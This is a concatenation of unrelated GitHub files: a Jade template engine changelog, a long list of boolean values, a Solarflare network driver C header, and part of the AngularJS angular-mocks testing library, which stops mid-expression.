0.10.5 / 2011-04-26 ================== * Added error context after the lineno * Added; indicate failing lineno with ">" * Added `Object.keys()` for the client-side * Fixed attr strings when containing the opposite quote. Closes 207 * Fixed attr issue with js expressions within strings * Fixed single-quote filter escape bug. Closes #196 0.10.4 / 2011-04-05 ================== * Added `html` doctype, same as "5" * Fixed `pre`, no longer text-only 0.10.3 / 2011-03-30 ================== * Fixed support for quoted attribute keys ex `rss("xmlns:atom"="atom")` 0.10.2 / 2011-03-30 ================== * Fixed pipeless text bug with missing outdent 0.10.1 / 2011-03-28 ================== * Fixed `support/compile.js` to exclude browser js in node * Fixes for IE [Patrick Pfeiffer] 0.10.0 / 2011-03-25 ================== * Added AST-filter support back in the form of `<tag>[attrs]<:><block>` 0.9.3 / 2011-03-24 ================== * Added `Block#unshift(node)` * Added `jade.js` for the client-side to the repo * Added `jade.min.js` for the client-side to the repo * Removed need for pipes in filters. Closes #185 Note that this _will_ break filters used to manipulate the AST, until we have a different syntax for doing so. 0.9.2 / 2011-03-23 ================== * Added jade `--version` * Removed `${}` interpolation support, use `#{}` 0.9.1 / 2011-03-16 ================== * Fixed invalid `.map()` call due to recent changes 0.9.0 / 2011-03-16 ================== * Added client-side browser support via `make jade.js` and `make jade.min.js`. 0.8.9 / 2011-03-15 ================== * Fixed preservation of newlines in text blocks 0.8.8 / 2011-03-14 ================== * Fixed jade(1) stdio 0.8.7 / 2011-03-14 ================== * Added `mkdirs()` to jade(1) * Added jade(1) stdio support * Added new features to jade(1), `--watch`, recursive compilation etc [khingebjerg] * Fixed pipe-less text newlines * Removed jade(1) `--pipe` flag 0.8.6 / 2011-03-11 ================== * Fixed parenthesized expressions in attrs. Closes #170 * Changed; default interpolation values `== null` to ''. Closes #167 0.8.5 / 2011-03-09 ================== * Added pipe-less text support with immediate ".". Closes #157 * Fixed object support in attrs * Fixed array support for attrs 0.8.4 / 2011-03-08 ================== * Fixed issue with expressions being evaluated several times. closes #162 0.8.2 / 2011-03-07 ================== * Added markdown, discount, and markdown-js support to `:markdown`. Closes #160 * Removed `:discount` 0.8.1 / 2011-03-04 ================== * Added `pre` pipe-less text support (and auto-escaping) 0.8.0 / 2011-03-04 ================== * Added block-expansion support. Closes #74 * Added support for multi-line attrs without commas. Closes #65 0.7.1 / 2011-03-04 ================== * Fixed `script()` etc pipe-less text with attrs 0.7.0 / 2011-03-04 ================== * Removed `:javascript` filter (it doesn't really do anything special, use `script` tags) * Added pipe-less text support. Tags that only accept text nodes (`script`, `textarea`, etc) do not require `|`. * Added `:text` filter for ad-hoc pipe-less * Added flexible indentation. Tabs, arbitrary number of spaces etc * Added conditional-comment support. Closes #146 * Added block comment support * Added rss example * Added `:stylus` filter * Added `:discount` filter * Fixed; auto-detect xml and do not self-close tags. Closes #147 * Fixed whitespace issue. Closes #118 * Fixed attrs. `,`, `=`, and `:` within attr value strings are valid Closes #133 * Fixed; only output "" when code == null. Ex: `span.name= user.name` when undefined or null will not output "undefined". Closes #130 * Fixed; throw on unexpected token instead of hanging 0.6.3 / 2011-02-02 ================== * Added `each` support for Array-like objects [guillermo] 0.6.2 / 2011-02-02 ================== * Added CSRF example, showing how you can transparently add inputs to a form * Added link to vim-jade * Fixed self-closing col support [guillermo] * Fixed exception when getAttribute or removeAttribute run into removed attributes [Naitik Shah] 0.6.0 / 2010-12-19 ================== * Added unescaped interpolation variant `!{code}`. Closes #124 * Changed; escape interpolated code by default `#{code}` 0.5.7 / 2010-12-08 ================== * Fixed; hyphen in get `tag()` 0.5.6 / 2010-11-24 ================== * Added `exports.compile(str, options)` * Renamed internal `_` to `__`, since `_()` is commonly used for translation 0.5.5 / 2010-10-30 ================== * Add _coffeescript_ filter [Michael Hampton] * Added link to _slim_; a ruby implementation * Fixed quoted attributes issue. * Fixed attribute issue with over greedy regexp. Previously "p(foo=(((('bar')))))= ((('baz')))" would __fail__ for example since the regexp would lookahead to far. Now we simply pair the delimiters. 0.5.4 / 2010-10-18 ================== * Adding newline when using tag code when preceding text * Assume newline in tag text when preceding text * Changed; retain leading text whitespace * Fixed code block support to prevent multiple buffer openings [Jake Luer] * Fixed nested filter support 0.5.3 / 2010-10-06 ================== * Fixed bug when tags with code also have a block [reported by chrisirhc] 0.5.2 / 2010-10-05 ================== * Added; Text introduces newlines to mimic the grammar. Whitespace handling is a little tricky with this sort of grammar. Jade will now mimic the written grammar, meaning that text blocks using the "|" margin character will introduce a literal newline, where as immediate tag text (ex "a(href='#') Link") will not. This may not be ideal, but it makes more sense than what Jade was previously doing. * Added `Tag#text` to disambiguate between immediate / block text * Removed _pretty_ option (was kinda useless in the state it was in) * Reverted ignoring of newlines. Closes #92. * Fixed; `Parser#parse()` ignoring newlines 0.5.1 / 2010-10-04 ================== * Added many examples * Added; compiler api is now public * Added; filters can accept / manipulate the parse tree * Added filter attribute support. Closes #79 * Added LL(*) capabilities * Performance; wrapping code blocks in {} instead of `(function(){}).call(this)` * Performance; Optimized attribute buffering * Fixed trailing newlines in blocks 0.5.0 / 2010-09-11 ================== * __Major__ refactor. Logic now separated into lexer/parser/compiler for future extensibility. * Added _pretty_ option * Added parse tree output for _debug_ option * Added new examples * Removed _context_ option, use _scope_ 0.4.1 / 2010-09-09 ================== * Added support for arbitrary indentation for single-line comments. Closes #71 * Only strip first space in text (ex '| foo' will buffer ' foo') 0.4.0 / 2010-08-30 ================== * Added tab naive support (tabs are converted to a single indent, aka two spaces). Closes #24 * Added unbuffered comment support. Closes #62 * Added hyphen support for tag names, ex: "fb:foo-bar" * Fixed bug with single quotes in comments. Closes #61 * Fixed comment whitespace issue, previously padding. Closes #55 0.3.0 / 2010-08-04 ================== * Added single line comment support. Closes #25 * Removed CDATA from _:javascript_ filter. Closes #47 * Removed _sys_ local * Fixed code following tag 0.2.4 / 2010-08-02 ================== * Added Buffer support to `render()` * Fixed filter text block exception reporting * Fixed tag exception reporting 0.2.3 / 2010-07-27 ================== * Fixed newlines before block * Fixed; tag text allowing arbitrary trailing whitespace 0.2.2 / 2010-07-16 ================== * Added support for `jade.renderFile()` to utilize primed cache * Added link to [textmate bundle](http://github.com/miksago/jade-tmbundle) * Fixed filter issue with single quotes * Fixed hyphenated attr bug * Fixed interpolation single quotes. Closes #28 * Fixed issue with comma in attrs 0.2.1 / 2010-07-09 ================== * Added support for node-discount and markdown-js depending on which is available. * Added support for tags to have blocks _and_ text. this kinda fucks with arbitrary whitespace unfortunately, but also fixes trailing spaces after tags _with_ blocks. * Caching generated functions. Closes #46 0.2.0 / 2010-07-08 ================== * Added `- each` support for readable iteration * Added [markdown-js](http://github.com/evilstreak/markdown-js) support (no compilation required) * Removed node-discount support 0.1.0 / 2010-07-05 ================== * Added `${}` support for interpolation. Closes #45 * Added support for quoted attr keys: `label("for": 'something')` is allowed (_although not required_) [Guillermo] * Added `:less` filter [jakeluer] 0.0.2 / 2010-07-03 ================== * Added `context` as synonym for `scope` option [Guillermo] * Fixed attr splitting: `div(style:"color: red")` is now allowed * Fixed issue with `(` and `)` within attrs: `a(class: (a ? 'a' : 'b'))` is now allowed * Fixed issue with leading / trailing spaces in attrs: `a( href="#" )` is now allowed [Guillermo]
{ "pile_set_name": "Github" }
true true true true true true false false false false true true true true false false false false true true false false false false true false false true false false false false false false false false false true false false true false true false true false true false true true true true true true false false false false true true true true false false false false true false true true true true true true false false false false true true true true false false false false true true false false false false true false false true false false false false false false false false false true false false true false true false true false true false true true true true true true false false false false true true true true false false false false true false true true true true true true false false false false true true true true false false false false true true false false false false true false false true false false false false false false false false false true false false true false true false true false true false true true true true true true false false false false true true true true false false false false true false true true true true true true false false false false true true true true false false false false true true false false false false true false false true false false false false false false false false false true false false true false true false true false true false true true true true true true false false false false true true true true false false false false true false true true true true true true false false false false true true true true false false false false true true false false false false true false false true false false false false false false false false false true false false true false true false true false true false true true true true true true false false false false true true true true false false false false true false true true true true true true false false false false true true true true false false false false true true false false false false true false false true false false false false false false false false false true false false true true true true true true true false true true true true true true true false false false true true true true false true false false true false true true true true true true true false false false true true true true false true false false true true false false false false true false false true false false false false false false false false false true false false true true true true true true true false true true true true true true true true true false true true true true false true false false true false true true true true true true true true true false true true true true false true false false true true true true false false true false false true false false false false false false false false false true false false true true true true true true true false true true true true true true true true true false true true true true false true false false true false true true true true true true true true true false true true true true false true false false true true true true false false true false false true false false false false false false false false false true false false true true true true true true true false true true true true true true true true true true true true true true false true false false true false true true true true true true true true true true true true true true false true false false true true true true false false true false false true false false false false false false false false false true false false false false false false false false false false false false false false false false false false false false true true true true false false false false true false false false false false false false false false false false true true true true false false false false true false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false true true true false false false false true false false false false false false false false false false false false true true true false false false false true false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false true true true false false false false true false false false false false false false false false false false false true true true false false false false true false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false true false false false false true false false false false false false false false false false false false false false true false false false false true false false false false false false false false false false false false false false false false false false false false false true true true true true true true false true true true true true true true true true true true true true true true true false false true false true true true true true true true true true true true true true true true true false false true true true true false false true false false true false false false false false false false false false true false false true false true false true false true false true
{ "pile_set_name": "Github" }
/**************************************************************************** * Driver for Solarflare network controllers and boards * Copyright 2005-2006 Fen Systems Ltd. * Copyright 2006-2013 Solarflare Communications Inc. * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 as published * by the Free Software Foundation, incorporated herein by reference. */ #ifndef EFX_EFX_H #define EFX_EFX_H #include "net_driver.h" #include "filter.h" int efx_net_open(struct net_device *net_dev); int efx_net_stop(struct net_device *net_dev); /* TX */ int efx_probe_tx_queue(struct efx_tx_queue *tx_queue); void efx_remove_tx_queue(struct efx_tx_queue *tx_queue); void efx_init_tx_queue(struct efx_tx_queue *tx_queue); void efx_init_tx_queue_core_txq(struct efx_tx_queue *tx_queue); void efx_fini_tx_queue(struct efx_tx_queue *tx_queue); netdev_tx_t efx_hard_start_xmit(struct sk_buff *skb, struct net_device *net_dev); netdev_tx_t efx_enqueue_skb(struct efx_tx_queue *tx_queue, struct sk_buff *skb); void efx_xmit_done(struct efx_tx_queue *tx_queue, unsigned int index); int efx_setup_tc(struct net_device *net_dev, enum tc_setup_type type, void *type_data); unsigned int efx_tx_max_skb_descs(struct efx_nic *efx); extern unsigned int efx_piobuf_size; extern bool efx_separate_tx_channels; /* RX */ void efx_set_default_rx_indir_table(struct efx_nic *efx, struct efx_rss_context *ctx); void efx_rx_config_page_split(struct efx_nic *efx); int efx_probe_rx_queue(struct efx_rx_queue *rx_queue); void efx_remove_rx_queue(struct efx_rx_queue *rx_queue); void efx_init_rx_queue(struct efx_rx_queue *rx_queue); void efx_fini_rx_queue(struct efx_rx_queue *rx_queue); void efx_fast_push_rx_descriptors(struct efx_rx_queue *rx_queue, bool atomic); void efx_rx_slow_fill(struct timer_list *t); void __efx_rx_packet(struct efx_channel *channel); void efx_rx_packet(struct efx_rx_queue *rx_queue, unsigned int index, unsigned int n_frags, unsigned int len, u16 flags); static inline void efx_rx_flush_packet(struct efx_channel *channel) { if (channel->rx_pkt_n_frags) __efx_rx_packet(channel); } void efx_schedule_slow_fill(struct efx_rx_queue *rx_queue); #define EFX_MAX_DMAQ_SIZE 4096UL #define EFX_DEFAULT_DMAQ_SIZE 1024UL #define EFX_MIN_DMAQ_SIZE 512UL #define EFX_MAX_EVQ_SIZE 16384UL #define EFX_MIN_EVQ_SIZE 512UL /* Maximum number of TCP segments we support for soft-TSO */ #define EFX_TSO_MAX_SEGS 100 /* The smallest [rt]xq_entries that the driver supports. RX minimum * is a bit arbitrary. For TX, we must have space for at least 2 * TSO skbs. */ #define EFX_RXQ_MIN_ENT 128U #define EFX_TXQ_MIN_ENT(efx) (2 * efx_tx_max_skb_descs(efx)) /* All EF10 architecture NICs steal one bit of the DMAQ size for various * other purposes when counting TxQ entries, so we halve the queue size. */ #define EFX_TXQ_MAX_ENT(efx) (EFX_WORKAROUND_EF10(efx) ? \ EFX_MAX_DMAQ_SIZE / 2 : EFX_MAX_DMAQ_SIZE) static inline bool efx_rss_enabled(struct efx_nic *efx) { return efx->rss_spread > 1; } /* Filters */ void efx_mac_reconfigure(struct efx_nic *efx); /** * efx_filter_insert_filter - add or replace a filter * @efx: NIC in which to insert the filter * @spec: Specification for the filter * @replace_equal: Flag for whether the specified filter may replace an * existing filter with equal priority * * On success, return the filter ID. * On failure, return a negative error code. * * If existing filters have equal match values to the new filter spec, * then the new filter might replace them or the function might fail, * as follows. * * 1. If the existing filters have lower priority, or @replace_equal * is set and they have equal priority, replace them. * * 2. If the existing filters have higher priority, return -%EPERM. * * 3. If !efx_filter_is_mc_recipient(@spec), or the NIC does not * support delivery to multiple recipients, return -%EEXIST. * * This implies that filters for multiple multicast recipients must * all be inserted with the same priority and @replace_equal = %false. */ static inline s32 efx_filter_insert_filter(struct efx_nic *efx, struct efx_filter_spec *spec, bool replace_equal) { return efx->type->filter_insert(efx, spec, replace_equal); } /** * efx_filter_remove_id_safe - remove a filter by ID, carefully * @efx: NIC from which to remove the filter * @priority: Priority of filter, as passed to @efx_filter_insert_filter * @filter_id: ID of filter, as returned by @efx_filter_insert_filter * * This function will range-check @filter_id, so it is safe to call * with a value passed from userland. */ static inline int efx_filter_remove_id_safe(struct efx_nic *efx, enum efx_filter_priority priority, u32 filter_id) { return efx->type->filter_remove_safe(efx, priority, filter_id); } /** * efx_filter_get_filter_safe - retrieve a filter by ID, carefully * @efx: NIC from which to remove the filter * @priority: Priority of filter, as passed to @efx_filter_insert_filter * @filter_id: ID of filter, as returned by @efx_filter_insert_filter * @spec: Buffer in which to store filter specification * * This function will range-check @filter_id, so it is safe to call * with a value passed from userland. */ static inline int efx_filter_get_filter_safe(struct efx_nic *efx, enum efx_filter_priority priority, u32 filter_id, struct efx_filter_spec *spec) { return efx->type->filter_get_safe(efx, priority, filter_id, spec); } static inline u32 efx_filter_count_rx_used(struct efx_nic *efx, enum efx_filter_priority priority) { return efx->type->filter_count_rx_used(efx, priority); } static inline u32 efx_filter_get_rx_id_limit(struct efx_nic *efx) { return efx->type->filter_get_rx_id_limit(efx); } static inline s32 efx_filter_get_rx_ids(struct efx_nic *efx, enum efx_filter_priority priority, u32 *buf, u32 size) { return efx->type->filter_get_rx_ids(efx, priority, buf, size); } #ifdef CONFIG_RFS_ACCEL int efx_filter_rfs(struct net_device *net_dev, const struct sk_buff *skb, u16 rxq_index, u32 flow_id); bool __efx_filter_rfs_expire(struct efx_nic *efx, unsigned quota); static inline void efx_filter_rfs_expire(struct work_struct *data) { struct efx_channel *channel = container_of(data, struct efx_channel, filter_work); if (channel->rfs_filters_added >= 60 && __efx_filter_rfs_expire(channel->efx, 100)) channel->rfs_filters_added -= 60; } #define efx_filter_rfs_enabled() 1 #else static inline void efx_filter_rfs_expire(struct work_struct *data) {} #define efx_filter_rfs_enabled() 0 #endif bool efx_filter_is_mc_recipient(const struct efx_filter_spec *spec); bool efx_filter_spec_equal(const struct efx_filter_spec *left, const struct efx_filter_spec *right); u32 efx_filter_spec_hash(const struct efx_filter_spec *spec); #ifdef CONFIG_RFS_ACCEL bool efx_rps_check_rule(struct efx_arfs_rule *rule, unsigned int filter_idx, bool *force); struct efx_arfs_rule *efx_rps_hash_find(struct efx_nic *efx, const struct efx_filter_spec *spec); /* @new is written to indicate if entry was newly added (true) or if an old * entry was found and returned (false). */ struct efx_arfs_rule *efx_rps_hash_add(struct efx_nic *efx, const struct efx_filter_spec *spec, bool *new); void efx_rps_hash_del(struct efx_nic *efx, const struct efx_filter_spec *spec); #endif /* RSS contexts */ struct efx_rss_context *efx_alloc_rss_context_entry(struct efx_nic *efx); struct efx_rss_context *efx_find_rss_context_entry(struct efx_nic *efx, u32 id); void efx_free_rss_context_entry(struct efx_rss_context *ctx); static inline bool efx_rss_active(struct efx_rss_context *ctx) { return ctx->context_id != EFX_EF10_RSS_CONTEXT_INVALID; } /* Channels */ int efx_channel_dummy_op_int(struct efx_channel *channel); void efx_channel_dummy_op_void(struct efx_channel *channel); int efx_realloc_channels(struct efx_nic *efx, u32 rxq_entries, u32 txq_entries); /* Ports */ int efx_reconfigure_port(struct efx_nic *efx); int __efx_reconfigure_port(struct efx_nic *efx); /* Ethtool support */ extern const struct ethtool_ops efx_ethtool_ops; /* Reset handling */ int efx_reset(struct efx_nic *efx, enum reset_type method); void efx_reset_down(struct efx_nic *efx, enum reset_type method); int efx_reset_up(struct efx_nic *efx, enum reset_type method, bool ok); int efx_try_recovery(struct efx_nic *efx); /* Global */ void efx_schedule_reset(struct efx_nic *efx, enum reset_type type); unsigned int efx_usecs_to_ticks(struct efx_nic *efx, unsigned int usecs); unsigned int efx_ticks_to_usecs(struct efx_nic *efx, unsigned int ticks); int efx_init_irq_moderation(struct efx_nic *efx, unsigned int tx_usecs, unsigned int rx_usecs, bool rx_adaptive, bool rx_may_override_tx); void efx_get_irq_moderation(struct efx_nic *efx, unsigned int *tx_usecs, unsigned int *rx_usecs, bool *rx_adaptive); void efx_stop_eventq(struct efx_channel *channel); void efx_start_eventq(struct efx_channel *channel); /* Dummy PHY ops for PHY drivers */ int efx_port_dummy_op_int(struct efx_nic *efx); void efx_port_dummy_op_void(struct efx_nic *efx); /* Update the generic software stats in the passed stats array */ void efx_update_sw_stats(struct efx_nic *efx, u64 *stats); /* MTD */ #ifdef CONFIG_SFC_MTD int efx_mtd_add(struct efx_nic *efx, struct efx_mtd_partition *parts, size_t n_parts, size_t sizeof_part); static inline int efx_mtd_probe(struct efx_nic *efx) { return efx->type->mtd_probe(efx); } void efx_mtd_rename(struct efx_nic *efx); void efx_mtd_remove(struct efx_nic *efx); #else static inline int efx_mtd_probe(struct efx_nic *efx) { return 0; } static inline void efx_mtd_rename(struct efx_nic *efx) {} static inline void efx_mtd_remove(struct efx_nic *efx) {} #endif #ifdef CONFIG_SFC_SRIOV static inline unsigned int efx_vf_size(struct efx_nic *efx) { return 1 << efx->vi_scale; } #endif static inline void efx_schedule_channel(struct efx_channel *channel) { netif_vdbg(channel->efx, intr, channel->efx->net_dev, "channel %d scheduling NAPI poll on CPU%d\n", channel->channel, raw_smp_processor_id()); napi_schedule(&channel->napi_str); } static inline void efx_schedule_channel_irq(struct efx_channel *channel) { channel->event_test_cpu = raw_smp_processor_id(); efx_schedule_channel(channel); } void efx_link_status_changed(struct efx_nic *efx); void efx_link_set_advertising(struct efx_nic *efx, const unsigned long *advertising); void efx_link_clear_advertising(struct efx_nic *efx); void efx_link_set_wanted_fc(struct efx_nic *efx, u8); static inline void efx_device_detach_sync(struct efx_nic *efx) { struct net_device *dev = efx->net_dev; /* Lock/freeze all TX queues so that we can be sure the * TX scheduler is stopped when we're done and before * netif_device_present() becomes false. */ netif_tx_lock_bh(dev); netif_device_detach(dev); netif_tx_unlock_bh(dev); } static inline void efx_device_attach_if_not_resetting(struct efx_nic *efx) { if ((efx->state != STATE_DISABLED) && !efx->reset_pending) netif_device_attach(efx->net_dev); } static inline bool efx_rwsem_assert_write_locked(struct rw_semaphore *sem) { if (WARN_ON(down_read_trylock(sem))) { up_read(sem); return false; } return true; } #endif /* EFX_EFX_H */
{ "pile_set_name": "Github" }
/** * @license AngularJS v1.0.0rc5 * (c) 2010-2011 AngularJS http://angularjs.org * License: MIT * * TODO(vojta): wrap whole file into closure during build */ /** * @ngdoc overview * @name angular.mock * @description * * Namespace from 'angular-mocks.js' which contains testing related code. */ angular.mock = {}; /** * @ngdoc object * @name angular.module.ngMock.$browser * * @description * This service is a mock implementation of {@link angular.module.ng.$browser}. It provides fake * implementation for commonly used browser apis that are hard to test, e.g. setTimeout, xhr, * cookies, etc... * * The api of this service is the same as that of the real {@link angular.module.ng.$browser $browser}, except * that there are several helper methods available which can be used in tests. * * The following apis can be used in tests: * * - $browser.defer — enables testing of code that uses * {@link angular.module.ng.$defer $defer} for executing functions via the `setTimeout` api. */ angular.mock.$BrowserProvider = function() { this.$get = function(){ return new angular.mock.$Browser(); }; }; angular.mock.$Browser = function() { var self = this; this.isMock = true; self.$$url = "http://server"; self.$$lastUrl = self.$$url; // used by url polling fn self.pollFns = []; // TODO(vojta): remove this temporary api self.$$completeOutstandingRequest = angular.noop; self.$$incOutstandingRequestCount = angular.noop; // register url polling fn self.onUrlChange = function(listener) { self.pollFns.push( function() { if (self.$$lastUrl != self.$$url) { self.$$lastUrl = self.$$url; listener(self.$$url); } } ); return listener; }; self.cookieHash = {}; self.lastCookieHash = {}; self.deferredFns = []; self.deferredNextId = 0; self.defer = function(fn, delay) { delay = delay || 0; self.deferredFns.push({time:(self.defer.now + delay), fn:fn, id: self.deferredNextId}); self.deferredFns.sort(function(a,b){ return a.time - b.time;}); return self.deferredNextId++; }; self.defer.now = 0; self.defer.cancel = function(deferId) { var fnIndex; angular.forEach(self.deferredFns, function(fn, index) { if (fn.id === deferId) fnIndex = index; }); if (fnIndex !== undefined) { self.deferredFns.splice(fnIndex, 1); return true; } return false; }; /** * @ngdoc method * @name angular.module.ngMock.$browser#defer.flush * @methodOf angular.module.ngMock.$browser * * @description * Flushes all pending requests and executes the defer callbacks. * * @param {number=} number of milliseconds to flush. See {@link #defer.now} */ self.defer.flush = function(delay) { if (angular.isDefined(delay)) { self.defer.now += delay; } else { if (self.deferredFns.length) { self.defer.now = self.deferredFns[self.deferredFns.length-1].time; } else { throw Error('No deferred tasks to be flushed'); } } while (self.deferredFns.length && self.deferredFns[0].time <= self.defer.now) { self.deferredFns.shift().fn(); } }; /** * @ngdoc property * @name angular.module.ngMock.$browser#defer.now * @propertyOf angular.module.ngMock.$browser * * @description * Current milliseconds mock time. */ self.$$baseHref = ''; self.baseHref = function() { return this.$$baseHref; }; }; angular.mock.$Browser.prototype = { /** * @name angular.module.ngMock.$browser#poll * @methodOf angular.module.ngMock.$browser * * @description * run all fns in pollFns */ poll: function poll() { angular.forEach(this.pollFns, function(pollFn){ pollFn(); }); }, addPollFn: function(pollFn) { this.pollFns.push(pollFn); return pollFn; }, url: function(url, replace) { if (url) { this.$$url = url; return this; } return this.$$url; }, cookies: function(name, value) { if (name) { if (value == undefined) { delete this.cookieHash[name]; } else { if (angular.isString(value) && //strings only value.length <= 4096) { //strict cookie storage limits this.cookieHash[name] = value; } } } else { if (!angular.equals(this.cookieHash, this.lastCookieHash)) { this.lastCookieHash = angular.copy(this.cookieHash); this.cookieHash = angular.copy(this.cookieHash); } return this.cookieHash; } }, notifyWhenNoOutstandingRequests: function(fn) { fn(); } }; /** * @ngdoc object * @name angular.module.ngMock.$exceptionHandlerProvider * * @description * Configures the mock implementation of {@link angular.module.ng.$exceptionHandler} to rethrow or to log errors passed * into the `$exceptionHandler`. */ /** * @ngdoc object * @name angular.module.ngMock.$exceptionHandler * * @description * Mock implementation of {@link angular.module.ng.$exceptionHandler} that rethrows or logs errors passed * into it. See {@link angular.module.ngMock.$exceptionHandlerProvider $exceptionHandlerProvider} for configuration * information. */ angular.mock.$ExceptionHandlerProvider = function() { var handler; /** * @ngdoc method * @name angular.module.ngMock.$exceptionHandlerProvider#mode * @methodOf angular.module.ngMock.$exceptionHandlerProvider * * @description * Sets the logging mode. * * @param {string} mode Mode of operation, defaults to `rethrow`. * * - `rethrow`: If any errors are are passed into the handler in tests, it typically * means that there is a bug in the application or test, so this mock will * make these tests fail. * - `log`: Sometimes it is desirable to test that an error is throw, for this case the `log` mode stores the * error and allows later assertion of it. * See {@link angular.module.ngMock.$log#assertEmpty assertEmpty()} and * {@link angular.module.ngMock.$log#reset reset()} */ this.mode = function(mode) { switch(mode) { case 'rethrow': handler = function(e) { throw e; }; break; case 'log': var errors = []; handler = function(e) { if (arguments.length == 1) { errors.push(e); } else { errors.push([].slice.call(arguments, 0)); } }; handler.errors = errors; break; default: throw Error("Unknown mode '" + mode + "', only 'log'/'rethrow' modes are allowed!"); } }; this.$get = function() { return handler; }; this.mode('rethrow'); }; /** * @ngdoc service * @name angular.module.ngMock.$log * * @description * Mock implementation of {@link angular.module.ng.$log} that gathers all logged messages in arrays * (one array per logging level). These arrays are exposed as `logs` property of each of the * level-specific log function, e.g. for level `error` the array is exposed as `$log.error.logs`. * */ angular.mock.$LogProvider = function() { function concat(array1, array2, index) { return array1.concat(Array.prototype.slice.call(array2, index)); } this.$get = function () { var $log = { log: function() { $log.log.logs.push(concat([], arguments, 0)); }, warn: function() { $log.warn.logs.push(concat([], arguments, 0)); }, info: function() { $log.info.logs.push(concat([], arguments, 0)); }, error: function() { $log.error.logs.push(concat([], arguments, 0)); } }; /** * @ngdoc method * @name angular.module.ngMock.$log#reset * @methodOf angular.module.ngMock.$log * * @description * Reset all of the logging arrays to empty. */ $log.reset = function () { /** * @ngdoc property * @name angular.module.ngMock.$log#log.logs * @propertyOf angular.module.ngMock.$log * * @description * Array of logged messages. */ $log.log.logs = []; /** * @ngdoc property * @name angular.module.ngMock.$log#warn.logs * @propertyOf angular.module.ngMock.$log * * @description * Array of logged messages. */ $log.warn.logs = []; /** * @ngdoc property * @name angular.module.ngMock.$log#info.logs * @propertyOf angular.module.ngMock.$log * * @description * Array of logged messages. */ $log.info.logs = []; /** * @ngdoc property * @name angular.module.ngMock.$log#error.logs * @propertyOf angular.module.ngMock.$log * * @description * Array of logged messages. */ $log.error.logs = []; }; /** * @ngdoc method * @name angular.module.ngMock.$log#assertEmpty * @methodOf angular.module.ngMock.$log * * @description * Assert that the all of the logging methods have no logged messages. If messages present, an exception is thrown. */ $log.assertEmpty = function() { var errors = []; angular.forEach(['error', 'warn', 'info', 'log'], function(logLevel) { angular.forEach($log[logLevel].logs, function(log) { angular.forEach(log, function (logItem) { errors.push('MOCK $log (' + logLevel + '): ' + String(logItem) + '\n' + (logItem.stack || '')); }); }); }); if (errors.length) { errors.unshift("Expected $log to be empty! Either a message was logged unexpectedly, or an expected " + "log message was not checked and removed:"); errors.push(''); throw new Error(errors.join('\n---------\n')); } }; $log.reset(); return $log; }; }; (function() { var R_ISO8061_STR = /^(\d{4})-?(\d\d)-?(\d\d)(?:T(\d\d)(?:\:?(\d\d)(?:\:?(\d\d)(?:\.(\d{3}))?)?)?(Z|([+-])(\d\d):?(\d\d)))?$/; function jsonStringToDate(string){ var match; if (match = string.match(R_ISO8061_STR)) { var date = new Date(0), tzHour = 0, tzMin = 0; if (match[9]) { tzHour = int(match[9] + match[10]); tzMin = int(match[9] + match[11]); } date.setUTCFullYear(int(match[1]), int(match[2]) - 1, int(match[3])); date.setUTCHours(int(match[4]||0) - tzHour, int(match[5]||0) - tzMin, int(match[6]||0), int(match[7]||0)); return date; } return string; } function int(str) { return parseInt(str, 10); } function padNumber(num, digits, trim) { var neg = ''; if (num < 0) { neg = '-'; num = -num; } num = '' + num; while(num.length < digits) num = '0' + num; if (trim) num = num.substr(num.length - digits); return neg + num; } /** * @ngdoc object * @name angular.mock.TzDate * @description * * *NOTE*: this is not an injectable instance, just a globally available mock class of `Date`. * * Mock of the Date type which has its timezone specified via constroctor arg. * * The main purpose is to create Date-like instances with timezone fixed to the specified timezone * offset, so that we can test code that depends on local timezone settings without dependency on * the time zone settings of the machine where the code is running. * * @param {number} offset Offset of the *desired* timezone in hours (fractions will be honored) * @param {(number|string)} timestamp Timestamp representing the desired time in *UTC* * * @example * !!!! WARNING !!!!! * This is not a complete Date object so only methods that were implemented can be called safely. * To make matters worse, TzDate instances inherit stuff from Date via a prototype. * * We do our best to intercept calls to "unimplemented" methods, but since the list of methods is * incomplete we might be missing some non-standard methods. This can result in errors like: * "Date.prototype.foo called on incompatible Object". * * <pre> * var newYearInBratislava = new TzDate(-1, '2009-12-31T23:00:00Z'); * newYearInBratislava.getTimezoneOffset() => -60; * newYearInBratislava.getFullYear() => 2010; * newYearInBratislava.getMonth() => 0; * newYearInBratislava.getDate() => 1; * newYearInBratislava.getHours() => 0; * newYearInBratislava.getMinutes() => 0; * </pre> * */ angular.mock.TzDate = function (offset, timestamp) { var self = new Date(0); if (angular.isString(timestamp)) { var tsStr = timestamp; self.origDate = jsonStringToDate(timestamp); timestamp = self.origDate.getTime(); if (isNaN(timestamp)) throw { name: "Illegal Argument", message: "Arg '" + tsStr + "' passed into TzDate constructor is not a valid date string" }; } else { self.origDate = new Date(timestamp); } var localOffset = new Date(timestamp).getTimezoneOffset(); self.offsetDiff = localOffset*60*1000 - offset*1000*60*60; self.date = new Date(timestamp + self.offsetDiff); self.getTime = function() { return self.date.getTime() - self.offsetDiff; }; self.toLocaleDateString = function() { return self.date.toLocaleDateString(); }; self.getFullYear = function() { return self.date.getFullYear(); }; self.getMonth = function() { return self.date.getMonth(); }; self.getDate = function() { return self.date.getDate(); }; self.getHours = function() { return self.date.getHours(); }; self.getMinutes = function() { return self.date.getMinutes(); }; self.getSeconds = function() { return self.date.getSeconds(); }; self.getTimezoneOffset = function() { return offset * 60; }; self.getUTCFullYear = function() { return self.origDate.getUTCFullYear(); }; self.getUTCMonth = function() { return self.origDate.getUTCMonth(); }; self.getUTCDate = function() { return self.origDate.getUTCDate(); }; self.getUTCHours = function() { return self.origDate.getUTCHours(); }; self.getUTCMinutes = function() { return self.origDate.getUTCMinutes(); }; self.getUTCSeconds = function() { return self.origDate.getUTCSeconds(); }; self.getUTCMilliseconds = function() { return self.origDate.getUTCMilliseconds(); }; self.getDay = function() { return self.date.getDay(); }; // provide this method only on browsers that already have it if (self.toISOString) { self.toISOString = function() { return padNumber(self.origDate.getUTCFullYear(), 4) + '-' + padNumber(self.origDate.getUTCMonth() + 1, 2) + '-' + padNumber(self.origDate.getUTCDate(), 2) + 'T' + padNumber(self.origDate.getUTCHours(), 2) + ':' + padNumber(self.origDate.getUTCMinutes(), 2) + ':' + padNumber(self.origDate.getUTCSeconds(), 2) + '.' + 